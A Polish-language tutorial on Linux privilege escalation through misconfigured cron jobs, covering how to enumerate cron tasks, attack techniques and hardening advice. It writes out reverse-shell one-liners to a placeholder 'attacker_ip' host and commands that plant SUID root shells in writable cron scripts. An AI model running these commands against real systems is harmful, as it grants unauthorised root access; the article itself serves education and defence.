Ataki na cron i scheduled tasks jako wektor eskalacji uprawnień
🕒 Wprowadzenie
Mechanizmy harmonogramów zadań, takie jak cron w systemach Linux, są powszechnie wykorzystywane do uruchamiania skryptów i procesów w określonym czasie lub cyklu. Niestety, niewłaściwa konfiguracja lub brak odpowiednich uprawnień może prowadzić do eskalacji uprawnień, jeśli złośliwy użytkownik przejmie kontrolę nad wykonywanym skryptem lub jego środowiskiem. Artykuł ten opisuje, jak takie ataki są możliwe, jak je wykrywać oraz jak im zapobiegać.
🔎 Jak znaleźć zadania crona

Zadania cron mogą być konfigurowane w wielu miejscach systemu. Ich identyfikacja to pierwszy krok w analizie potencjalnych luk bezpieczeństwa.
📁 Sprawdzanie plików systemowych crona
cat /etc/crontab
Zawiera zadania systemowe i informacje o użytkowniku, w kontekście którego są uruchamiane.
📂 Katalogi zawierające zadania cykliczne
ls -la /etc/cron.hourly
ls -la /etc/cron.daily
ls -la /etc/cron.weekly
ls -la /etc/cron.monthly
Znajdziesz tu skrypty, które mogą być wykonywane z uprawnieniami roota.
🔍 Crontaby poszczególnych użytkowników
crontab -l
Wyświetla cron dla bieżącego użytkownika. Aby zobaczyć innych:
sudo ls /var/spool/cron/crontabs
💣 Techniki wstrzykiwania poleceń i eskalacji
Niewłaściwie zabezpieczone skrypty i foldery wykonywane przez cron mogą być wykorzystane przez atakującego do przejęcia kontroli nad systemem.
📝 Nadpisywanie skryptów
Jeśli skrypt lub jego folder ma nieprawidłowe uprawnienia (np. rw-rw-rw-), może zostać nadpisany przez zwykłego użytkownika.
📌 Przykład:
- Skrypt
/etc/cron.daily/backup.shjest uruchamiany jako root. - Skrypt posiada uprawnienia do zapisu dla wszystkich:
-rw-rw-rw- 1 root root 1234 Jan 1 12:00 /etc/cron.daily/backup.sh - Użytkownik
johnedytuje plik:echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > /etc/cron.daily/backup.sh - Atakujący odbiera połączenie zwrotne jako root.
🔁 Wstrzykiwanie komend do istniejących plików
Niektóre skrypty cron mogą ładować pliki konfiguracyjne lub środowiskowe, np. przez source /etc/config.sh.
Jeśli plik /etc/config.sh ma słabe uprawnienia:
echo "chmod u+s /bin/bash" >> /etc/config.sh
…po wykonaniu skryptu użytkownik uzyska dostęp do shella z podniesionymi uprawnieniami.
📦 Własne cronjoby z uprawnieniami innych użytkowników
Czasem użytkownik ma prawo edytować crontab innego użytkownika (np. sudo crontab -u root -e), co umożliwia dodanie złośliwego zadania:
* * * * * root bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
🧪 Praktyczne przykłady eskalacji uprawnień
💡 Przykład 1: Skrypt w katalogu zapisywalnym
Skrypt uruchamiany przez crona znajduje się w katalogu /opt/scripts/, a jego uprawnienia wyglądają tak:
drwxrwxrwx 2 root root 4096 Jan 1 12:00 /opt/scripts/
Użytkownik może wrzucić złośliwy skrypt, np.:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > /opt/scripts/malicious.sh
Skrypt zostanie uruchomiony przez cron z uprawnieniami roota.
💡 Przykład 2: Zadanie z podatną komendą
W crontab -e znajduje się linia:
* * * * * root tar -czf /tmp/backup.tar.gz /home/user/
Atakujący może stworzyć alias tar lub umieścić złośliwy plik tar w swoim katalogu, który zostanie wykonany zamiast oryginalnego binarnego tar, jeśli PATH nie jest bezpiecznie ustawiony.
🛡️ Jak się bronić przed atakami przez cron
🔒 Ustawiaj restrykcyjne uprawnienia
- Skrypty powinny być czytelne tylko dla właściciela:
chmod 700 /etc/cron.daily/myscript.sh - Katalogi z cronjobami nie powinny mieć zapisu dla innych użytkowników:
chmod 755 /etc/cron.*
📦 Używaj pełnych ścieżek do binarek w skryptach
Zamiast:
tar -czf backup.tar.gz /home/user
Zapisz:
/bin/tar -czf /home/user/backup.tar.gz /home/user
🔍 Regularnie audytuj zadania cron
- Sprawdzaj zawartość
/etc/crontaboraz/etc/cron.* - Używaj narzędzi typu
linpeaslubpspydo wykrywania nieznanych zadań - Loguj działania skryptów, np. do
/var/log/cron.log
📑 Podsumowanie
Ataki na cron i zaplanowane zadania to klasyczny, ale nadal skuteczny wektor eskalacji uprawnień w środowiskach linuksowych. Wykorzystując błędy w konfiguracji, nadpisując skrypty lub manipulując ścieżkami binarek, atakujący może uzyskać pełen dostęp do systemu.
🔐 Obrona wymaga:
- Ścisłej kontroli uprawnień
- Przeglądania skryptów i katalogów wykonywanych przez cron
- Stosowania dobrych praktyk (pełne ścieżki, logging, audyty)
Dbałość o cron to jeden z fundamentów bezpiecznego systemu Linux.






